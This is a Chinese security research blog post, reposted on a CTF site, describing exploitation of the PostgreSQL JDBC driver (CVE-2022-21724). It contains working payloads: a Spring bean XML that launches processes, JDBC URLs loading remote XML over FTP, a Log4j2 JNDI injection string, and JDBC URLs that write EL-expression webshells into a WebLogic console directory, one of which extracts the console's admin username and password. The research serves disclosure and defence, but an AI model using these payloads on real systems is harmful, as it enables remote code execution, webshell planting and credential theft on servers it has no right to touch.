Make JDBC Attacks Brilliant Again 番外篇

渗透技巧 2年前 (2022) admin
548 0 0

0x00 背景

我在HITB Singapore 2021上做过一次关于JDBC攻击面的分享,议题为《Make JDBC Attacks Brilliant Again》

如果有兴趣可以看看,slide地址
https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf

去年的分享议题里没有涉及到PostgreSQL数据库,然而最近出现了PostgreSQL JDBC Driver的相关漏洞。特地做个总结,也算是《Make JDBC Attacks Brilliant Again》议题的番外篇

0x01 PostgreSQL JDBC Driver远程命令执行(CVE-2022-21724)

和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724里用到的第一组property

a. socketFactory / socketFactoryArg

官方文档介绍
Make JDBC Attacks Brilliant Again 番外篇

搭建环境了解下调用过程,用的是PostgreSQL Driver Version: 42.3.1版本,为方便阅读,加了一行显示版本:

System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());

先把参数值置空,执行后看抛出的异常
Make JDBC Attacks Brilliant Again 番外篇

根据抛出的异常,直接把断点打在getSocketFactory()

Make JDBC Attacks Brilliant Again 番外篇

接着进入ObjectFactory.instantiate()
Make JDBC Attacks Brilliant Again 番外篇

到这可知,socketFactory实例化一个类,它的构造方法只有一个参数且是String类型。因此只要找到一个符合这样条件的类即可,直接想到的就是这个老演员

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

通过以上任意一个类,加载以下XML文件即可

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

启动FTP Server

python3 -m pyftpdlib -d .

验证结果
Make JDBC Attacks Brilliant Again 番外篇

这里也有同学会想到使用java.io.FileOutputStream配合../../ 去清空任意文件或,这里我创建一个空文件test.log
Make JDBC Attacks Brilliant Again 番外篇

b. sslFactory / sslFactoryArg

官方文档介绍
Make JDBC Attacks Brilliant Again 番外篇

其实和socketFactorysocketFactoryArg 差不多,只是多了对SSL加密的判断,可以看到建连后收到的请求以S开头则表示SSL是成功支持的,则进入SSLSocketFactory()
Make JDBC Attacks Brilliant Again 番外篇

接着就会来到SSLSocketFactory
Make JDBC Attacks Brilliant Again 番外篇

Make JDBC Attacks Brilliant Again 番外篇

到这里其实和之前的逻辑已经是一样了,就不再赘述。因此只要在建立连接后返回S,就会顺利触发
Make JDBC Attacks Brilliant Again 番外篇

c. Weblogic Server远程代码执行

之前我们提到了这个类

  • org.springframework.context.support.FileSystemXmlApplicationContext

在Weblogic Server环境下,有相同的实现类

  • com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

需要注意的是必须同时存在这两个jar包(默认存在)
Make JDBC Attacks Brilliant Again 番外篇

所以构造出PoC

jdbc:postgresql://127.0.0.1:5432/testdb?&socketFactory=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/bean.xml

验证结果
Make JDBC Attacks Brilliant Again 番外篇

0x02 PostgreSQL JDBC Driver任意文件写入

a. loggerLevel / loggerFile

官方文档介绍
Make JDBC Attacks Brilliant Again 番外篇

所以可以写成这样

jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log

b. Apache Log4j2 日志注入

可以明确的是即使PostgreSQL数据库连接错误,所有连接数据库过程中日志都会被记录到指定的文件里,那么可以注入Apache Log4j2的payload在JDBC URL里达到日志污染的目的

jdbc:postgresql://localhost:5432/${jndi:ldap://127.0.0.1:1389/eajmgl}?loggerLevel=TRACE&loggerFile=pgjdbc.log
Make JDBC Attacks Brilliant Again 番外篇

当使用Apache Log4j2组件读取被污染的日志时,即可能会触发远程命令执行
Make JDBC Attacks Brilliant Again 番外篇

c. Weblogic Server写入一句话Webshell

这里我为了方便查看,使用了一个property ApplicationName,其实用不用无所谓
Make JDBC Attacks Brilliant Again 番外篇

写入Webshell,首先都会尝试用JSP的一句话,目标路径就是../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/

初步构造就是这样

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

看下能不能成功,结果直接抛出异常,这里会把JSP中的%和后面2个字符%RuURLDecoder()的操作,异常信息

Could not establish a connection because of java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: "Ru"<br/>
Make JDBC Attacks Brilliant Again 番外篇

想到可以用EL表达式替代JSP,从而绕过%被过度解码导致无法解决JSP的问题。不过需要注意的是Servlet<=2.3版本默认不支持EL表达式,而之后的版本是默认开启的。那么就需要确认Weblogic Server内置了的Servlet版本,我用的是Weblogic Server14内置的是Servlet 4.0的版本

Make JDBC Attacks Brilliant Again 番外篇

到此条件都具备了,就可以这么写

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${Runtime.getRuntime().exec("open -a calculator")}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/calc.jsp

直接访问写入的Webshell,成功弹出计算器
Make JDBC Attacks Brilliant Again 番外篇

d. Weblogic Server写入密码记录Webshell

上面我们已经成功使用EL表达式替换了JSP,但是EL表达式有局限性,比如:不能做变量赋值操作。只能借助EL表达式自定义的隐式对象了,先想到的就是pageContext

pageContextjavax.servlet.jsp.PageContext类的实例对象,用来代表整个JSP页面范围, pageContextsetAttribute()方法设置属性,pageContextgetAttribute()方法获取属性,如果没用指定作用域,按照page→request→session→application的顺序指定,默认作用域是pagepageContext对象本身也属于page作用域。

如果清楚以上相关的知识,配合着反射调用就可以达到想要的目的。所以最终写成

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${pageContext.setAttribute("classLoader",Thread.currentThread().getContextClassLoader());pageContext.setAttribute("httpDataTransferHandler",pageContext.getAttribute("classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler"));pageContext.setAttribute("managementService", pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService"));pageContext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security.acl.internal.AuthenticatedSubject"));pageContext.setAttribute("propertyService",pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.PropertyService"));pageContext.setAttribute("KERNE_ID",pageContext.getAttribute("httpDataTransferHandler").getDeclaredField("KERNE_ID"));pageContext.getAttribute("KERNE_ID").setAccessible(true);pageContext.setAttribute("getPropertyService",managementService.getMethod("getPropertyService",pageContext.getAttribute("authenticatedSubject")));pageContext.getAttribute("getPropertyService").setAccessible(true);pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(null,pageContext.getAttribute("KERNE_ID").get((null))));pageContext.setAttribute("getTimestamp1",propertyService.getMethod("getTimestamp1"));pageContext.getAttribute("getTimestamp1").setAccessible(true);pageContext.setAttribute("getTimestamp2",propertyService.getMethod("getTimestamp2"));pageContext.getAttribute("getTimestamp2").setAccessible(true);pageContext.setAttribute("username", pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute("password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop")));pageContext.getAttribute("username").concat("/").concat(pageContext.getAttribute("password"))}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/passwd.jsp

最终访问写入的Webshell,成功拿到Weblogic Server控制台的登录用户名和密码

Make JDBC Attacks Brilliant Again 番外篇

0x03 写在最后

JDBC因为Java语言的影响力被广泛使用,又因为它的广泛使用导致出现漏洞后影响很大,尤其是云计算场景广泛应用的今天,JDBC的可控变得简单。写此文章分享下自己的总结,也希望有兴趣的人可以随着我曾经的思路继续研究下去,Make JDBC Attacks Brilliant Again!

 

原文始发于跳跳糖(pyn3rd):Make JDBC Attacks Brilliant Again 番外篇

版权声明:admin 发表于 2022年3月4日 上午11:48。
转载请注明:Make JDBC Attacks Brilliant Again 番外篇 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...